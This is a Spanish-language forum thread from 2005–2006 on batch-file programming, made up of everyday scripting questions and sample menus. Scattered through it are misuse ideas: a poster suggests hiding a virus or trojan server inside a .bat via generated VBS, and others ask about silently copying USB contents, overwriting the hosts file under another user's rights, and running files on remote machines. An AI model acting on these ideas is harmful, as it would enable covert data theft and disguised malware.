Lo segundo: el directorio no es c:/ sino c:\ (Con la oblicua inclinada al otro lado) SUERTE Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kadel en 17 Septiembre 2005, 01:20 am Bueno gente esto es medio pelotud… los que les pido pero me esta haciendo falta una cosa como esto disculpen mi ignorancia pero no es lo mío jejejeje… si no me llego a explicar bien que es lo que busco y estas dispuesto a ayudarme este es mi mail kadel1@msn.com
Dando vueltas por el foro encontré el siguiente comando para un *.bat @echo off start C:\ programa_1.exe start C:\ programa_2.exe start C:\ programa_3.exe start C:\programa_4.exe Mi pregunta es si alguien sabe un comando diferente para que te deje elegir cual de los 4 queres ejecutar primero o bien elegir cual ejecutar por ejemplo. Bienvenido elija que programa quiere usar: Para elegir presione el numero del programa Programa 1 Programa 2 Programa 3 Programa 4 Usted ha elegido la opción 3 desea continuar: Si: 1 No: 2 Y que después se cierre el *.bat no se si me entienden desde ya muchas gracias Ha otra cosa aprovechando se puede hacer un *.bat que te cargue una información en el registro como lo hacen los archivos *.reg PD: Muy buen foro ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 17 Septiembre 2005, 06:31 am Para lo primero se emplea "CHOICE", pero solo en win98... al parecer lo han dejado fuera del XP. Si tienes el win98, en resumen este sería el código
Código: echo Escoja el programa que quiera ejecutar Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 17 Septiembre 2005, 06:45 am Para agregar datos al registro de windows mediante una BAT se emplea REG ADD. Más inofrmación en los siguientes enlaces:
http://foro.elhacker.net/index.php/topic,71551.0.html http://foro.elhacker.net/index.php/topic,63581.0.html http://foro.elhacker.net/index.php/topic,74452.0.html SUERTE Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 18 Septiembre 2005, 12:15 pm kadel, aquí está tu código completito xD
Código: @ECHO OFF Lo acabo de probar y funciona a la perfección ;) OBSERVACIONES: 1 - El .BAT se tiene que encontrar en la misma carpeta que los programas a ejecutar, o si no deberás escribir su ruta completa (Por ejemplo, en vez de esto:) Código: START PROGRAMA3.EXE si el programa se encuentra en C:\caca\hola, tendrás que escribir: Código: START C:\caca\hola\PROGRAMA3.EXE y así con todos ;) 2 - Necesitas el comando CHOICE, si estás en windows XP o NT, puedes conseguir dicho comando aquí: http://foro.elhacker.net/index.php/topic,78383.0.html 3 - El código es bastante más largo que el de jvchino porque hace las comprobaciones con todos los programas. 4 - Puedes añadirle todos los programas que te plazcan siguiendo el mismo formato del programa.bat 5 - Espero que te sirva y lo disfrutes xD PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 19 Septiembre 2005, 15:49 pm Atención Para consultas sobre este tema se ha creado un manual htm en la siguiente dirección: http://www.elhacker.net/ProgramacionBat.htm Allí podeis leer con mas detenimiento toda la información que está dispersa por este hilo. Si teneis algún comentario o consulta adicional pues nada. Para eso está el foro. Un saludo [/size]Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: kadel en 20 Septiembre 2005, 16:21 pm † Nerviozzo † Muchas gracias por el código esta perfecto… ;D
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 21 Septiembre 2005, 09:37 am Hola
Como orientación voy a poner el código de nerviozzo optimizado y usando variables: Código: @ECHO OFF Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 21 Septiembre 2005, 09:44 am Hola
He recordado un problema con 'choice' que no esá en la consola de xp. Este problema fue resuelto por Nerviozzo hace tiempo. Está aquí. ftp://ftp.microsoft.com/Services/TechNet/samples/PS/Win98/Reskit/SCRPTING/CHOICE.EXE (http://ftp://ftp.microsoft.com/Services/TechNet/samples/PS/Win98/Reskit/SCRPTING/CHOICE.EXE) Hay que dejarlo en system32 Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 21 Septiembre 2005, 17:14 pm Jo, es que siempre que programo en BAT se me olvida que también existen las variables xD
PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Publio en 24 Septiembre 2005, 01:49 am Bueno, a ver si alguine puede contestarme :
Necesitaba realizar un bat que me permitiese ejecutar el alcohol 120% para que luego montase una imagen sacada de un dvd, para que asi procediese seguidamente a la instalación del mismo. Una vez acabada la instalacion que ejecutase un programa llamado virtualcdhide con la opción de hide, y que ejecutase seguidamente el ejecutable .exe con la opción de compatibilidad para windows 2000. No se si se podra hacer. Si es mucho chollo podríais decirme como hacer que ses activen determinadas opciones de un programa en particular a traves del archivo bat??? Gracias y un saludo :) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 28 Septiembre 2005, 08:09 am Citar He recordado un problema con 'choice' que no esá en la consola de xp. puedes utilizar el comando set:*-----------------------------------------------------------* echo off break = off color 02 echo. echo. echo escoge que opcion quieres: echo. echo. echo 1) abrir Xprograma.* echo 2) abrir Yprograma.* echo 3) abrir Zprograma.* echo 4) abrir Wprograma.* echo. echo ****apurate a pensar!! no tengo tiempo!!!!**** echo jajaja es broma es que tengo sueño! echo. echo. set /p tecla= if %tecla% == 1 goto :1 if %tecla% == 2 goto :2 if %tecla% == 3 goto :3 if %tecla% == 4 goto :4 if %tecla% =="" goto :fin :1 start Xprogram.* :2 start Yprogram.* :3 start Zprogram.* :4 start Wprogram.* :fin exit *------------------------------------------------------------* funciona al igual que el choice, la ruta de los programas debe estar bien escrita en la parte de goto, disculpen la falta de code pero ya tengo sueño jeje saludos!!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: makkinen en 28 Septiembre 2005, 17:39 pm Buenas, tengo un problema: Estoy intentando copiar un fichero host a la ruta de un pc (C:\winnt\system32\drivers\etc) pero cuando se ejecuta el bat me dice que acceso denegado (0 archivos copiados) Hay alguna manera de copiar un archivo como si fueses otro usuario con los permisos necesarios?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DarkSid3!! en 2 Octubre 2005, 18:54 pm Que buen post, Muchas gracias a todos. Siempre habia estado buscando manuales sobre.bat pero todos los q encontraba eran muy básicos. Al fin encontre lo q queria.
Otra vez Gracias. Salu2!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 5 Octubre 2005, 07:48 am Buenas, tengo un problema: Estoy intentando copiar un fichero host a la ruta de un pc (C:\winnt\system32\drivers\etc) pero cuando se ejecuta el bat me dice que acceso denegado (0 archivos copiados) Hay alguna manera de copiar un archivo como si fueses otro usuario con los permisos necesarios? podrias poner bien la ruta? y el code? para ver si ahí hay errores.Que buen post, Muchas gracias a todos. Siempre habia estado buscando manuales sobre.bat pero todos los q encontraba eran muy básicos. Al fin encontre lo q queria. pues si que esta bien, y estaria mejor un subforo de puro batchOtra vez Gracias. Salu2!! porfavor moderadores!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DADE en 6 Octubre 2005, 15:28 pm Un subforo de batch por favor ;)
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: matias_majo en 12 Octubre 2005, 14:59 pm Hola necesito saber como hago para saber si un copy fue exitoso para poder hacer otras cosas
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 12 Octubre 2005, 21:46 pm Hola necesito saber como hago para saber si un copy fue exitoso para poder hacer otras cosas Utiliza el comando copy con el parámetro V: copy /V PAZ[/font] Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: matias_majo en 14 Octubre 2005, 16:45 pm mi bat es este pero necesito que me informe si no se pudo copiar
porque esta lleno porque no encontro la unidad y tirar un mensaje de alerta o algo asi @echo on move c:\Base_BK\*.* e:\ Se puede? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: CARL75 en 21 Octubre 2005, 00:27 am mediante net star podemos ejecutar un archivo ya subido a una maquina remota? net start \\ip\rutadel archivo que tenemos metido\archivo.exe o lo que sea -h esto es valido? Si no es asi ¿como podemos ejecutar un archivo .xls que esta remotamente con un .bat? Agradezco su ayuda Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DADE en 21 Octubre 2005, 00:31 am yo uso simplemente:
start archivo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: luckyluck en 28 Octubre 2005, 13:11 pm Hola soy nuevo en esto y estoy intentando hacerme un cd de aranque por q mi disquetera me rompe los disket unos si y otros tambien,.
Al tema, yo suelo utilizar amenudo unos programas para mantenimiento como podrian ser el ghost, diswizard y algun otro..., el nero me emula un disket en un cd pero el problema me surge cuando son mas de un disket que no se como hacerlo., mi idea es hacer como un menu para elegir la obcion y q luego se cargara el programa en cuestion,. lo ideal es q este cd al llegar al menu cargue todos lo drives necesarios, cd-rom, usb..etc Estoy probando con el choice pero no termino de hacerlo bien y el problema creo esta en los disket del diswizard q son dos.. Bueno si me podeis hechar una mano lo agradeceria muchisimo..Salu2.... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: darKPoison en 2 Noviembre 2005, 09:06 am Hola a todos
alguien pudiera ayudarme a crear un bat que borre todos los directorios y ficheros en la carpeta C:\Documents and Settings\Administrador\Configuración local\Temp y además en C:\Documents and Settings\Administrador\Configuración local\Archivos temporales de Internet ? eso me evitaría mucho trabajo gracias de antemano Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Kizar en 11 Noviembre 2005, 16:36 pm Como se podria acer un bucle en un bat?
Salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 11 Noviembre 2005, 23:11 pm Como se podria acer un bucle en un bat? Salu2 Espero que te sirva http://www.elhacker.net/ProgramacionBat.htm#comandosprogramacion PAZ[/font] Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 11 Noviembre 2005, 23:20 pm Hola
Tienes en el manual un ejemplo para hacer bucles mediante el comando for. Por otra parte también puedes utilizar una variable para iniciar do while con una etiqueta y al acabar hacer if %variable%==0 goto inicio_bucle Es simple Título: Ayuda para Crear un BAT PLISS Publicado por: VidalArango en 11 Noviembre 2005, 23:57 pm Hola que tal alguien podria ayudarme a realizar un archivo.bat
Lo que deseo es lo siguiente: Tengo una aplicacion que la mando a llamar con esta instruccion call $e300 -file "Aqui meto el nombre del archivo a copilar" - ver "Aqui pongo la version" Lo que quiero es que en el bat me pida el nombre del archivo y la version y cuantas ejecuciones deseo con esa instruccion despues de terminar la primera y ya terminada la ejecucion me diga el espacio en disco y memoria y que al terminar si en su caso no hay espacio porque me genera unos archivos *.PRT muy grandes me pida que los borre para poder seguir con la segunda o tercera,.. ejecucion eso es todo. Podrian ayudarme por favor Saludos de MAVA :-* Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Kizar en 12 Noviembre 2005, 00:36 am Código: do teoricamente este code tendria k funcionar, pero creo k los bat no aceptan el do loop, nom e a kedado muy claro lo k decias Soplo, podrias explicarme lo del for o lo de ldo while? Salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Kizar en 12 Noviembre 2005, 00:46 am Solucionado
Código: :re salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: stefania en 17 Noviembre 2005, 17:05 pm Hola una gran duda, necesito en un archivo bat traerme una fecha anterior a la fecha actual, lo e tratado de hacer de dos formas:
1) set var=%DATE:~0,2% para traerme el mes, y set var=%DATE:~7,11% para el año, ahora como le resto a esto 1 dia? ejemplo si hoy fuera 1ro de noviembre el resultado deberia ser 31 de octubre 2) tengo un archivo en lenguaje perl me trae el resultado de una fecha anterior (q es como yo quiero) el problema que no se como dentro de una variable en una archivo bat tomar el resultado, trate de hacerlo como el primer punto set var=%perl fecha.pl% y no funciona... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: fanny en 22 Noviembre 2005, 10:22 am Hola gracias por este tutorial el cual me despeja bastantes dudas, al final consegui solucionar mi duda sobrte mi ejercicio de ficheros bat.Aprovecho la ocasion para pedir disculpas por el duplicado que hice de mi mensaje, era la primera vez que me metia en un foro........y aun no se donde tengo que exponer mis dudas sobre los ficheros bat, espero que sea en esta sección si no indicame donde por que tengo otra duda:
¿que diferencia hay entre set/A y set/n? Gracias por adelantado y felicitaciones por el tutorial. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DADE en 22 Noviembre 2005, 16:34 pm Te pondría aqui la imagen, pero estoy en clase y no puedo hacerlo. Si tienes dudas sobre estos comandos:
Inicio--->Ejecutar---->cmd----> set /? Un saludo Título: archivo que cierra internet explorer indefinidamente Publicado por: tchs en 22 Noviembre 2005, 18:11 pm Hola necesito algo de ayuda, quiero crear un archivo .bat que compruebe en una red local que ordenadores tienen el proceso iexplore.exe ejecutandose y que cuando lo encuentre se lo cargue en el ordenador que sea.
Quiero que esto lo haga cada cierto tiempo, todos las maquias estan en red con windows 2003 y con el mismo nombre de administrador y contraseña. he conseguido ya con un simple taskkill que los cierre, pero no que lo haga solo en los ordenadores con el proceso ejecutandose y cada cierto tiempo. Muchas gracias :) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: DADE en 22 Noviembre 2005, 21:48 pm Pues si haces un taskkill como q no en los ordenadores en los que no esta ejecutandose?? Evidentemente si no esta ejecutandose ni se va a cerrar ni creo q quieras cerrarlo :)
y cada cierto tiempo eso yo no lo se hacer ;) Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 23 Noviembre 2005, 07:44 am Intenta con el comando AT
Ve a inico --> ejecutar --> cmd y pones lo siguiente: AT /? Y ahí te vendrá la ayuda que necesitas PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: fanny en 28 Noviembre 2005, 10:48 am hola dade,
gracias por tu respuesta, me ha solucionado la duda.......me ha ido bien porke hoy tengo el examen de ficheros bat.Que nervios!!!!! Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Pax-Man en 3 Diciembre 2005, 14:53 pm Necesito algo de ayuda tengo este problema
tengo estos 2 archivos, son 2 pequeñas aplicaciones que me sirven para cambiar el lenguaje a un juego (starcraft/broodwar, alguno lo conocera) estas me ayudan a cambiar el lenguaje, cambiando el nombre de un arhicvo ej:LocalIngles.dll a local.dll, pero el problema es que los se hacer dividiendo en 2 archivos, ejemplo para pasarlos a español le dan click en espaniol.bat y para ingles en ingles.bat, lo que quiero hacer es un archivo q se llame lengaje.bat y yo pueda escoger enter la opcion 1 y 2 cual lenguaje deseo usar bueno les deje el contenido de español.bat Código: @echo off Código: @echo off como puedo hacer para que los 2 sistemas esten integrados y para que mediante el comand choice yo pueda escojer cual de los 2 lenguajes voy a usar.. es que por mas que trato el comando choice no me sale bien... Por favor necesito ayuda Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 3 Diciembre 2005, 17:04 pm Pax-Man, no has dicho tu sistema operativo pero me juego algo a que es Windows XP :P
Para que te funcione el comando choice debes instalarlo: http://foro.elhacker.net/index.php/topic,78383.msg360721.html#msg360721 Te lo descargas y lo metes en la carpeta C:\WINDOWS\System32 Y entonces ya puedes utilizarlo perfectamente ;) Aquí está el código que quieres: Código: @ECHO OFF Es mas o menos así, pero puedes modificarlo a tu gusto PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 3 Diciembre 2005, 22:39 pm Si no te queres instalar el CHOICE podes usar esta alternativa:
Código: @ECHO OFF ¤ Nerviozzo ¤ a tu code le falto ese detalle: Citar @ECHO OFF ECHO. ECHO ¿Qué deseas hacer? ECHO. ECHO 1 - Cambiar de español a inglés ECHO. ECHO 2 - Cambiar de inglés a español ECHO. CHOICE /C:12 IF ERRORLEVEL 2 GOTO INGLES IF ERRORLEVEL 1 GOTO ESPANOL :ESPANOL ECHO ------------------------------ ECHO Cambiar de español a ingles ECHO StarCraft / Broodawr ECHO ------------------------------ PAUSE DEL local.dll COPY LocalEspaniol.dll Local2.dll REN Local2.dll Local.dll starcraft.exe GOTO FIN :INGLES ECHO ------------------------------ ECHO Cambiar de ingles a español ECHO StarCraft / Broodawr ECHO ------------------------------ PAUSE DEL local.dll COPY LocalIngles.dll Local2.dll REN Local2.dll Local.dll starcraft.exe :FIN Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: m3n3chm0 en 6 Diciembre 2005, 12:33 pm ola soy nuevo aki ..necesitaba crear un .bat que elimine las cookies cada vez que el pc se inicia....saludos!! mm vi algo parecido de temporales nel foro pero no me ayuda..sabeis como es esto de las cookies pa k las elimine ???
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 6 Diciembre 2005, 17:17 pm ¿no sería mas fácil configurar el browser para ello?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: m3n3chm0 en 6 Diciembre 2005, 21:00 pm mmm ni idea de k es eso :DD pero en clase nos mandaron acer eso ... crear un .bat k elimine las cookies ! alguien sabe ?? el codigo ....
@echo .... y demas :DD ??? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 6 Diciembre 2005, 23:52 pm Código: @echo off Para que se ejecute cuando prendas la PC tenes que agregar al registro una clave en la direccion HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pones la direccion del archivo como dato y lito... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: xerge100 en 14 Diciembre 2005, 05:15 am a ver si puedesesta
un bucle que repita un palabra o plabras (en colores , osea sicodelico - un gma de colres cambiantes) y que baje en picada osea asi buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias buenos dias .......... asi hast presionar un tecla para salir nos vemos Título: ayuda Publicado por: cotaflor en 15 Diciembre 2005, 02:04 am hola que tal??? necesito ayuda :-[
queria crear un bat que me permita modificar a diario un archivo con este formato "nombre" & "fecha del dia" se podrá??? como lo hago??? ayudenme .. please gracias :) :-* Título: Re: ayuda Publicado por: Siuto en 15 Diciembre 2005, 02:23 am xerge100 ahi esta tu saludo sicodelico, pero para pararlo solo podes hacerlos con "CRTL+C"
Código: @echo off Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: InOt en 15 Diciembre 2005, 03:02 am Buenas, este es mi primer post jeje.
Soy bastante nuevo en esto de programacion bat, pero estoy con winXP y tengo el problema del choice, he intentado usar el set pero no me sale, se me queda esperando con el cursor parpadeante pero cuando pulso una tecla queda escrita en pantalla pero no hace nada, si le doy al Enter prosigue con las lineas sin ir a ninguna etiqueta. Os pongo un codigo de ejemplo (no puedo usar choice, ya que en los ordenadores donde debo hacer los bat no tengo acceso a system32: @echo off :menu cls echo ******************************* echo --Bienvenido al Batch de InOt-- echo ******************************* echo. echo. echo. echo Pulsa 1 para Abrir la carpeta Main echo Pulsa 2 para Ejecutar Call of Duty Multijugador set /p tecla= if tecla==1 goto open if tecla==2 goto cod :open cd D:\Juegos\Call of Duty\Main echo Deseas seguir trabajando con este batch? [Si/No] set/p tecla= if tecla==n goto fin if tecla==s goto menu :cod D: cd D:\Juegos\Call of Duty CoDMP.exe :fin echo Trabajo finalizado! Adios. cls Bueno, si me podeis decir que es lo que hago mal... Muchas gracias. Salu2 Título: Re: ayuda Publicado por: jvchino en 15 Diciembre 2005, 04:39 am hola que tal??? necesito ayuda :-[ queria crear un bat que me permita modificar a diario un archivo con este formato "nombre" & "fecha del dia" se podrá??? como lo hago??? ayudenme .. please gracias :) :-* Lee unas cuantas páginas atrás. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Siuto en 15 Diciembre 2005, 04:50 am Iont: cuando usas SET /P es correcto que tengas que presionar enter para que lea la letra, pero sin embargo el code que pusiste esta bien echo :s
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: InOt en 16 Diciembre 2005, 03:56 am Pues no se....... no me funciona ni de coña vamos, lo unico que hace esperarse en cada set y pedirme que escriba algo, aunque escriba lo que escriba sigue ejecutando la linea siguiente... ire haciendo pruebas, si doy con ello ya posteare.
salu2 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: H@T en 16 Diciembre 2005, 18:54 pm Hola gente que tal, quisiera saber si se puede saber cuantos usuario hay en un dominio con algun comandito de DOS, una vez creo que pude hacerlo pero no recuerdo...
Puede ser que sea algo como: NET USER .... graciasss Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: modifier en 23 Diciembre 2005, 16:56 pm Hola, posteo esta duda porque lo que necesito es lo siguiente, que con ejecutar un .bat este ejecuete dos programas. si no me pasaron mal la informacion se deberia hacer de esta manera
@echo off cls Programa 1.exe programa 2.exe pero al poner cada programa y ejecutarlo ejecuta solo el primero en el orden. tambien un amigo me habia pasado la forma de hacerlo mediante el ms-dos con unos comandos pero tampoco me funciono, hacia lo mismo. Una aclaracion, el ejemplo lo saque de un juego donde funcionaba perfecto ejecutando los dos archivos. Muchas Gracias. Modifier. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: chebu en 23 Diciembre 2005, 19:18 pm Holaaasss buenass :D
no se mcho de programacion .bat, se lo basico como ir a una carpeta copiar archivos cambiar attrib ::),pero lo k necesito hacer es lo suiguente: copiar un archivo de mis documentos y colocarlo en una maquina remota se puee hacer esoo :huh:?? Desde ya Muchas gracuasss :P Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: modifier en 24 Diciembre 2005, 00:48 am Chebu, no estoy definitivamente seguro pero me parece que unas paginas mas atras estaba como hacer lo que deseas
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: chebu en 26 Diciembre 2005, 19:53 pm Buenoss muchass graciass me voy a fijarrr igual si lo encontras y me pdoes ahcer le favor me lo psoteas asi lo voe pork me pa que me fije y nolo encontre o tal ves lo vi y no lo supe entender como ahcerr...igual muhcas gracais y FELICES FIESTAS ::) ;)
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 27 Diciembre 2005, 08:34 am podrias hacerlo de esta manera:
........ echo. echo. echo usuario>>c:\1.txt echo pass>>c:\2.txt echo send C:\ruta\archivo.*>>c:\3.txt echo bye>>c:\4.txt copy /b c:\1.txt c:\datos.txt copy /b c:\datos.txt+c:\2.txt c:\datos.txt copy /b c:\datos.txt+c:\3.txt c:\datos.txt copy /b c:\datos.txt+c:\4.txt c:\datos.txt cls del c:\1.txt del c:\2.txt del c:\3.txt del C:\4.txt ftp -s:c:\datos.txt ftp.direccion.com echo. echo. echo. y lo envias al ftp remoto saludos!!!!!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: chebu en 28 Diciembre 2005, 19:16 pm jejeje mcuhass graciasss lo voy a intentarrrr!!!!
Gracias por el codgioo se t agradeceee;) Saludossss y Felices Fiestass ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: dooku en 29 Diciembre 2005, 21:01 pm Hola señores del elhacker.net
Una consulta. Tengo dos archivos en una sola carpeta: archivo "dos.bat" Citar cmd cls archivo "join.bat" Citar @echo off IF NOT EXIST %1 copy /b /-Y %1.* %1 pause exit Lo que hago es dar doble clic en "dos.bat" para que desde ahi escriba: "join (nombre de archivo)" y ejecute el proceso que hay en "join.bat" que es el de unir varios binarios. Lo que quiero hacer meter esto en un solo bat, que al cargar me pregunte solo el nombre del archivo y que se ejecute lo que hay en "join.bat". Muchas gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 4 Enero 2006, 09:21 am pues puedes poner:
====== dos.bat ====== @echo off :start echo. echo. echo Por favor escribe el nombre del archivo al que quieras llamar: echo. echo. set /p archivo= if %archivo% == join goto bien if NOT %archivo% == join goto mal :bien start C:\ruta\join.bat :mal echo Haz escrito mal el nombre del archivo intentalo de nuevo. goto :start ================================= saludos!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 4 Enero 2006, 11:40 am Con este programa solo puedes abrir un archivo llamado joiner.bat
es mejor que puedas elegir la ruta. este .bat lo hace @echo off cls color 2D title Ejecutador de Archivos. echo. echo. echo Por favor escribe la ruta y el nombre del archivo al que quieras llamar: echo. echo. set /p archivo= %archivo% == 1 If not exist 1 goto error Error: echo El Programa no existe [Ruta incorrecta] goto fin If exist 1 goto start start: start %archivo% goto fin: fin: exit. Si la ruta es incorrecta sale del programa, si la ruta es correcta lo ejekuta. Un Saludo!! H E N D R I X Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: maniaxred en 5 Enero 2006, 00:47 am Hola a To2!
Estoy buscando un comando para agregar a un .BAT para ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas. He probado con attrib pero no encuentro la forma. :huh: Lamentablemente no logo encontrar una solución. :'( Agradecería mucho si un genio me da la solusión. ;) GRACIAS! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: judavcam en 5 Enero 2006, 04:12 am hola
necesito ayuda necesito crear un bat que primero me busque unos archivos ejemplo mp3 que luego esos archivos que busco en el disco duro pueda elimarlos o ocultarlos automaticamente acontinuacion de la busqueda le agradezco la colaboracion que me puedan aportar Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: dooku en 6 Enero 2006, 06:47 am Muchas gracias compañeros, ahora tengo mas claro esto del bat.
Seria mejor que pongan mas ejemplos en el manual y menos teoria. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 7 Enero 2006, 22:12 pm * Este post que publikare explika komo emplear el BATCH komo kompilador...en este kaso de Visual Basik Script
COMPILACION EN BATCH -{Por Hendrix}- ************************************ Weno, hace unos dias leí que se podia kompilar de Batch a VBS, es decir..a partir de un .bat crear un .vbs... Nunka me imagine que con Batch se pudiera hacer eso...y mucho menos que fuera tan facil de hacer... El principal truko es imaginarse que en lugar de estar frente a un Notepad esta frente a un Compilador de VBS...por ejemplo: para hacer un MsgBox que diga Hola Mundo en VBS se aria asi: Msgbox "Hola Mundo" y para kompilarlo en batch ariamos eso: @echo off echo.On Error Resume Next > C:\programa.vbs echo Msgbox "Hola mundo" >> C:\programa.vbs start C:\programa.vbs exit Y kon estas simples lineas ya tenemos un Programa de VBS echo en BATCH...pongan el ejemplo en el notepad y kompilenlo en Bat... Imaginense lo que se podria llegar a krear fusionando estos lenguajes (Lo e echo en VBS porke yo programo en ese lenguage, si kieren pueden juntar kuakier otro lenguage de programacion).... Y aki se akaba esta "Mini-klase" de programacion Batch-VBS Un Saludo!! H E N D R I X Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: emilandi en 8 Enero 2006, 09:05 am me gustaria recibir su ayuda amigos, lo quiero hacer basicamente es codificar un .bat especificamente el del disco de inicio del win98 y lo que necesito que haga es que al momento de iniciar la pc en dos ejecute el archivo instalar.exe de win98. aclaro que todo esto esta dentro de un cd ya que cree un booteable con el nero , es decir dentro del cd esta el disco de inicio + win98.
espero haber sido claro amigos , y espero su respuesta . gracias !!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 8 Enero 2006, 10:48 am Pero tú, Punk-rock, lo que estás haciendo es añadir las líneas que pongas detrás de ECHO a un archivo con extensión .vbs y luego lo inicias desde el bat, pero eso es igual que abrir un archivo de texto, escribir tu programa en visual basic script, guardarlo con extensión .vbs, y luego ejecutarlo, con lo cual, programar de la manera que tu has explicado es un poco "ilógica", cuando puedes hacerlo de otras maneras menos complicadas.
PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 8 Enero 2006, 13:13 pm Ya lo se que es un pokito "ilogiko"...pero intenta crear un archivo .exe en bat...eso (creo) es imposible...y asi almenos puedes eskonder un "regalito" dentro de un .bat...ese regalito puede estar echo en VBS (se podria hacer perfectamente un virus o un server de troyano)...lokual yo aun sea ilogiko le veo utilidades....proke el VBS puede hace mas kosas que en Batch y si los fusionas puede kedar un programa guapo...
Un Saludo!! H E N D R I X Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 12 Enero 2006, 05:25 am eso es otro lenguaje de programacion llamado WSH (Windows Scripting Host) pero eso ya no es 100% batch puro.
aunque si funciona para hacer cosas como un troyano pero ya no es batch! saludos!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 12 Enero 2006, 21:51 pm hola,queria hacer un programa que cuando metas una memoria usb en el ordenador, se copian en modo oculto(sin que salga la ventana de msdos) todos los archivos de la memoria, alguien me puede decir como hacerlo please?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pollicogat en 13 Enero 2006, 08:27 am HOLA MUY BUENAS , MIRA SOY NUEVO AQUI PERO HE VISTO QUE ENTIENDES MUCHO SOBRE BAT A VER TE COMENTO:
TENGO UN SERVIDOR, DENTRO DEL SERVIDOR UNO VIRTUAL , AHORA LO QUE QUIERO ES HACER COPIAS DE SEGURIDAD SOBRE ESTE SERVIDOR VIRTUAL , EL PROGRAMA QUE USO ES EL VERITAS Backup Exec 10.0 for Windows Servers , AHORA EM GUSTARIA QUE ME DIJERAS COMO SE UTILIZAN DETALLADAMENTE LOS COMANDOS NET STAR Y NET STAR PARA PODER PARAR LOS SERVICIOS Y ACTIVARLOS PARA QUE SE PUEDA HACER LA COPIA DE SEGURIDAD, ADEMAS EN EL PROGRAMA VERITAS Backup Exec 10.0 for Windows Servers AY UNA OPCION DE COMANDOS PRE-TAREA Y POST TAREA Y NECESITARIA ADEMAS HACER UN SCRIPT PARA CADA CASO, PERO NO SE COMO HACERLO. SI NO TE HAS ENTERADO DIMELO Y TE LO ACLARO OTRA VEZ. MUCHAS GRACIAS Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pollicogat en 13 Enero 2006, 09:21 am hola otra vez, a lo mejor con mi pregunta he liado un poco, lo que en definitiva quiero saber como hacer un script que me pare un servicio y otro que me inice el servicio, una cosa parecida al net start y net stop. como puedo ver las lineas que contienen estos dos comandos. muchas gracias
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: maniaxred en 13 Enero 2006, 17:25 pm Hola a To2!
